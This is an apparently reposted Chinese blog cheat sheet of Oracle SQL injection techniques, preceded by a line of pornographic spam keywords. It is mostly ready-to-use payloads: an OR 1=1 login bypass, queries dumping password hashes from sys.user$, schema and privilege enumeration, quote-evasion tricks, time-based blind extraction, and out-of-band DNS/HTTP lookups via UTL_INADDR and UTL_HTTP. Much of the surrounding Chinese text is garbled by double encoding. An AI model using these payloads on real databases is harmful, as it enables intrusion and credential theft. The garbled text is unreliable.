日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 运维知识 > 数据库 >内容正文

数据库

oracle text类型_数据库的一些注入技巧Oracle

發(fā)布時(shí)間:2024/7/19 数据库 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 oracle text类型_数据库的一些注入技巧Oracle 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

默認(rèn)數(shù)據(jù)庫(kù)

SYSTEM

SYSAUX

注釋

--

SELECT * FROM Users WHERE username = '' OR1=1?--' AND password = '';

查詢(xún)版本信息

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';

SELECT banner FROM v$version WHERE banner LIKE 'TNS%';

SELECT version FROM v$instance;

數(shù)據(jù)庫(kù)憑證

SELECT username FROM all_users;

支持所有版本

SELECT name, password from sys.user$;

高權(quán)限, <= 10g

SELECT name, spare4 from sys.user$;

高權(quán)限, <= 11g

查詢(xún)數(shù)據(jù)庫(kù)信息

查詢(xún)當(dāng)前庫(kù)

SELECT name FROM v$database;

SELECT ?instance_name FROM v$instance

SELECT ?global_name FROM global_name

SELECT ?SYS.DATABASE_NAME FROM DUAL

用戶(hù)數(shù)據(jù)庫(kù)

SELECT DISTINCT owner FROM ?all_tables;

主機(jī)名稱(chēng)

SELECT host_name FROM v$instance; (Privileged)

SELECT UTL_INADDR.get_host_name FROM dual;

SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;

SELECT UTL_INADDR.get_host_address FROM dual;

查詢(xún)表和列

查詢(xún)表

SELECT table_name FROM ?all_tables;

查詢(xún)列

SELECT column_name FROMall_tab_columns;

從列中查詢(xún)表

SELECT column_name FROM all_tab_columns WHEREtable_name = 'Users';

從表中查詢(xún)列

SELECT table_name FROMall_tab_tables WHERE column_name = 'password';

查詢(xún)多個(gè)表信息

SELECT RTRIM(XMLAGG(XMLELEMENT(e, ?table_name || ',')).EXTRACT('//text()').EXTRACT('//text()') ,',') FROM ?all_tables;

避免使用引號(hào)

SELECT 0x09120911091 FROM dual;

Hex編碼

SELECT CHR(32)||CHR(92)||CHR(93) FROM dual;

CHR() 函數(shù)

字符串拼接

SELECT 'a'||'d'||'mi'||'n' FROM ?dual;

條件語(yǔ)句

SELECT CASE WHEN 1=1 THEN 'true' ?ELSE 'false' END FROM dual

時(shí)間注入

SELECTUTL_INADDR.get_host_address('non-existant-domain.com') FROM dual;

AND (SELECT COUNT(*) FROM all_users t1, all_userst2, all_users t3, all_users t4, all_users t5) > 0 AND 300 >ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1));

查詢(xún)權(quán)限

SELECT privilege FROM ?session_privs;

SELECT ?grantee, granted_role FROM dba_role_privs; (Privileged)

DNS帶外

SELECT UTL_HTTP.REQUEST('http://localhost') FROM dual;

SELECT UTL_INADDR.get_host_address('localhost.com') FROM dual;

同類(lèi)型文章賞析

數(shù)據(jù)庫(kù)的一些注入技巧-sqlserver

數(shù)據(jù)庫(kù)的一些注入技巧-mysql

全文pdf下載地址:

https://www.chinabaiker.com/sql.pdf

總結(jié)

以上是生活随笔為你收集整理的oracle text类型_数据库的一些注入技巧Oracle的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。